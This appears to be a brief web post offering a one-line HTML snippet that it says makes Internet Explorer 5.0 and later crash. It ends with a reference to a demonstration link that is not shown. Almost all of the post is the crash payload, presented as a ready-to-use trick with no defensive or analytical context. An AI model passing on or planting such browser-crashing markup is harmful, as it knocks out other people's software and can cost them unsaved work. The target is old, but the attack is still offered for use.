Here is a simple piece of html mark-up that will cause IE 5.0 + to crash.
<html> <form> <input type crash> </form> </html>
And here is the link to prove it!